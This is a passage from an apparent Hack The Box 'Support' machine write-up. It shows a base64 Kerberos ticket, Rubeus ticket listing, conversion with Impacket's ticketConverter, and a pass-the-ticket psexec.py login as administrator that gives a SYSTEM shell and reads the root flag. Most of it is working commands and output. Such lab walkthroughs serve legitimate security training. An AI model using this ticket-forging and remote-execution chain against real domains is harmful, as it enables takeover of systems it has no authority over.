      ZbIZUP7KVWJxLQ+1Loh4Sjp+Jf57RgVwXIbIEngSKLg/slWMDxanonqk97ydb4QxebJ8RSazwBkQkAYH
      N9y9A3LpThEnyKw0IwukvQ4DdzLt44AAk8BNWOqk66LXmBX16JLgX/ZMib6IuzoHaz2aMrnpecgyuhHM
      o4HZMIHWoAMCAQCigc4Egct9gcgwgcWggcIwgb8wgbygGzAZoAMCARGhEgQQzidf6TKNWYkBn5UuI+xL
      q6ENGwtTVVBQT1JULkhUQqIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAy
      NjA0MTYwNzQ4MTFaphEYDzIwMjYwNDE2MTc0ODExWqcRGA8yMDI2MDQyMzA3NDgxMVqoDRsLU1VQUE9S
      VC5IVEKpITAfoAMCAQKhGDAWGwRjaWZzGw5kYy5zdXBwb3J0Lmh0Yg==
[+] Ticket successfully imported!
*Evil-WinRM* PS C:\Users\support\Documents

Use the ticket, shows the rubeus ticket

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe klist

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0xb0950

  UserName                 : support
  Domain                   : SUPPORT
  LogonId                  : 0xb0950
  UserSID                  : S-1-5-21-1677581083-3380853377-188903654-1105
  AuthenticationPackage    : NTLM
  LogonType                : Network
  LogonTime                : 4/15/2026 8:51:45 PM
  LogonServer              : DC
  LogonServerDNSDomain     : support.htb
  UserPrincipalName        : support@support.htb

    [0] - 0x12 - aes256_cts_hmac_sha1
      Start/End/MaxRenew: 4/16/2026 12:48:11 AM ; 4/16/2026 10:48:11 AM ; 4/23/2026 12:48:11 AM
      Server Name       : cifs/dc.support.htb @ SUPPORT.HTB
      Client Name       : administrator @ SUPPORT.HTB
      Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

*Evil-WinRM* PS C:\Users\support\Documents>

It doesn’t work.

Remote Use

Grab the second ticket Rubeus generated, save as ticket.kirbi.b64 make sure to remove all spaces. Decode from base64 save it into ticket.kirbi file:

nano ticket.kirbi.b64
base64 -d ticket.kirbi.b64 > ticket.kirbi

Use ticketConverter.py script from Impacket python module

locate ticketConverter.py
which ticketConverter.py

Copy, and convert it

cp /home/nopedawn/.local/bin/ticketConverter.py .
python3 ticketConverter.py ticket.kirbi ticket.ccache
nopedawn@npdn ~/L/H/S/Support> python3 ticketConverter.py ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

Get shell using psexec.py

locate psexec.py
which psexec.py
cp /home/nopedawn/.local/bin/psexec.py .

The environment variable name is KRB5CCNAME, I get the information from these two blogs

nopedawn@npdn ~/L/H/S/Support> KRB5CCNAME=./ticket.ccache python3 psexec.py support.htb/administrator@dc.support.htb -k -no-pass
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file hnOfFawk.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service qKVR on dc.support.htb.....
[*] Starting service qKVR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Finally, we got our shell now

C:\Windows\system32> dir ..\..\Users
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users

07/26/2022  06:21 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          Administrator
07/26/2022  06:21 AM    <DIR>          ldap
05/19/2022  02:13 AM    <DIR>          Public
04/15/2026  08:51 PM    <DIR>          support
               0 File(s)              0 bytes
               5 Dir(s)   3,961,790,464 bytes free

C:\Windows\system32> dir ..\..\Users\Administrator
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users\Administrator

05/28/2022  04:11 AM    <DIR>          .
07/26/2022  06:21 AM    <DIR>          ..
05/28/2022  04:11 AM    <DIR>          .ansible_async
05/19/2022  02:13 AM    <DIR>          3D Objects
05/19/2022  02:13 AM    <DIR>          Contacts
05/28/2022  04:17 AM    <DIR>          Desktop
01/18/2024  06:27 AM    <DIR>          Documents
05/19/2022  02:13 AM    <DIR>          Downloads
05/19/2022  02:13 AM    <DIR>          Favorites
05/19/2022  02:13 AM    <DIR>          Links
05/19/2022  02:13 AM    <DIR>          Music
05/19/2022  02:13 AM    <DIR>          Pictures
05/19/2022  02:13 AM    <DIR>          Saved Games
05/19/2022  02:13 AM    <DIR>          Searches
05/19/2022  02:13 AM    <DIR>          Videos
               0 File(s)              0 bytes
              15 Dir(s)   3,961,790,464 bytes free

C:\Windows\system32> dir ..\..\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users\Administrator\Desktop

05/28/2022  04:17 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          ..
04/15/2026  08:48 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,961,790,464 bytes free

C:\Windows\system32> cat ..\..\Users\Administrator\Desktop\root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32> type ..\..\Users\Administrator\Desktop\root.txt
REDACTED

C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on dc.support.htb.....
[*] Stopping service qKVR.....
[*] Removing service qKVR.....
[*] Removing file hnOfFawk.exe.....

And the root flag is stored in C:\Users\Administrator\Desktop\root.txt

Source:

https://github.com/dnspy/dnspy
https://github.com/Hackplayers/evil-winrm
https://github.com/dirkjanm/bloodhound.py
https://github.com/SpecterOps/BloodHound-Legacy/releases

Prev
...
Next
HTB | Cap - Machines